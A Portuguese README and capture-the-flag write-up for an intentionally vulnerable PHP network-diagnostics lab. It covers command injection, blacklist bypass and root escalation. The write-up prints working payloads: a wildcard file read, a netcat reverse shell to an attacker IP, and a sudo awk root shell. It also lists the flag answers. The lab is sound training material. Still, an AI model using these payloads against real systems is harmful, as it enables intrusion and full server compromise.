Um painel de diagnóstico de rede moderno (Aegis NOC) intencionalmente vulnerável a Injeção de Comandos de Sistema Operacional, projetado para exploração de vulnerabilidades web e pós-exploração Linux.
Aviso • Objetivos • Tecnologias • Como Acessar • Exploração (CTF) • Créditos
Este projeto é intencionalmente vulnerável. Ele foi criado para fins estritamente educacionais e demonstração de falhas de segurança. NÃO FAÇA O DEPLOY DA VERSÃO DOCKER EM UM SERVIDOR PÚBLICO OU DE PRODUÇÃO. Use-o apenas em um ambiente local isolado.
Este laboratório abrange desde a exploração inicial de uma aplicação web até o comprometimento total do servidor hospedeiro. Você treinará:
- Command Injection (RCE): Entender como a concatenação não tratada de variáveis em funções do sistema (como
shell_exec) permite a execução arbitrária de código. - Evasão de Web Application Firewalls (WAF): Aprender a utilizar comandos alternativos do Linux e wildcards para contornar listas de bloqueio (blacklists) restritivas.
- Movimentação Lateral: Compreender a importância das conexões de Reverse Shell para obter um terminal interativo com a máquina vítima.
- Escalonamento de Privilégios (PrivEsc): Explorar falhas de configuração em binários SUID e permissões do
sudo(GTFOBins) para escalar o acesso de um usuário web até o superusuárioroot.
Este ambiente foi estruturado utilizando:
Este laboratório foi construído com duas opções de execução, adequando-se ao seu foco de estudo:
Uma versão interativa Front-end (100% Client-Side) projetada para você entender os conceitos de comandos encadeados sem a necessidade de baixar o projeto. Nota: Este simulador ilustra mecânicas mais básicas do que o desafio Docker. 🔗 Acesse o simulador aqui
A experiência de segurança ofensiva definitiva. Um back-end em PHP comunicando-se com um contêiner Linux real, protegido por filtros de WAF e controles restritos de permissão.
- Clone o Repositório:
git clone https://github.com/vrsmarcos26/Lab-Command-Injection.git
cd Lab-Command-Injection- Construa e suba o ambiente através do Docker:
docker-compose up --build -d- Acesse a aplicação no seu navegador: http://localhost:8000
A ferramenta "Aegis NOC" permite realizar pings em hosts remotos, mas esconde uma falha estrutural. O desafio final (Opção Docker) exige a captura das seguintes Flags:
O painel bloqueia imediatamente a injeção de utilitários clássicos de leitura (ex: cat) e a palavra "flag". Seu objetivo é conseguir injetar um payload pela interface web que interaja com o sistema operacional para ler o arquivo oculto dentro de assets_secretos, utilizando formas não convencionais de invocar o console.
Encontrar arquivos via interface web não lhe dará controle do sistema. A segunda flag é de propriedade do usuário de sistema aegis_admin e exige interação pelo terminal para ser lida. Injete uma carga maliciosa no utilitário de ping que force o contêiner a abrir uma porta de rede e conectar um terminal de volta para a sua máquina (Reverse Shell).
Com o acesso shell obtido, você descobrirá que está rodando como o usuário restrito do apache (www-data). Este usuário não tem poderes para capturar a flag final, localizada na raiz do sistema (/root). Realize um mapeamento básico de permissões internas de servidor (como binários executados com sudo sem necessidade de senha) para obter credenciais de superusuário e assumir o domínio total do ambiente.
💡 Resolução e Análise Técnica (Write-up)
A falha reside na função shell_exec() do PHP, que recebe o valor do ip submetido e executa diretamente no sistema: $output = shell_exec("ping -c 4 " . $ip);.
O painel de diagnóstico concatena os comandos, porém uma lista negra (blacklist) tenta impedir leituras fáceis. Com operadores encadeados (; ou &&), usamos um utilitário Linux reverso como o tac e usamos wildcards * na busca do arquivo para não ter que digitar a palavra "flag".
- Payload:
127.0.0.1; tac assets_secretos/fl* - Flag obtida:
FLAG{1_w4f_byp4ss_m4st3r}
O arquivo flag_02.txt exige estar logado no bash da máquina. Abriremos um listener Netcat local e mandaremos o servidor PHP se conectar nele, utilizando o nc embutido.
- Na sua máquina local, abra:
nc -lvnp 4444 - Payload Web:
127.0.0.1; nc [SEU_IP] 4444 -e /bin/sh - Com a conexão ativa, leia o arquivo do admin:
cat /home/aegis_admin/flag_02.txt - Flag obtida:
FLAG{2_r3v3rs3_sh3ll_1ns1d3r}
Rodando o comando sudo -l na shell comprometida, observa-se a vulnerabilidade de permissão: o usuário www-data pode rodar a ferramenta /usr/bin/awk via sudo sem senha. Utilizando bibliotecas conhecidas como a GTFOBins, forçamos o awk a retornar um console já elevado como root.
- Comando:
sudo awk 'BEGIN {system("/bin/sh")}' - Como root, extraia o arquivo
/root/flag_03.txt. - Flag obtida:
FLAG{3_r00t_pr1v3sc_c0mm4nd_1nj3ct10n}
Como Mitigar: As listas de bloqueio (Blacklist WAF) são sabidamente falhas. O PHP nunca deve encaminhar strings sujas para os binários. Na impossibilidade de evitar execuções de SO nativas, deve-se usar as funções como escapeshellarg() e escapeshellcmd() para escapar as entradas de maneira segura antes de seu acionamento.
Este projeto foi inspirado nos conceitos práticos de segurança ofensiva do Hacking Club, sendo estruturado para o aprimoramento em testes de invasão e pesquisa de vulnerabilidades web.
Este projeto está sob a licença MIT. Veja o arquivo LICENSE para mais detalhes.
Desenvolvido por vrsmarcos26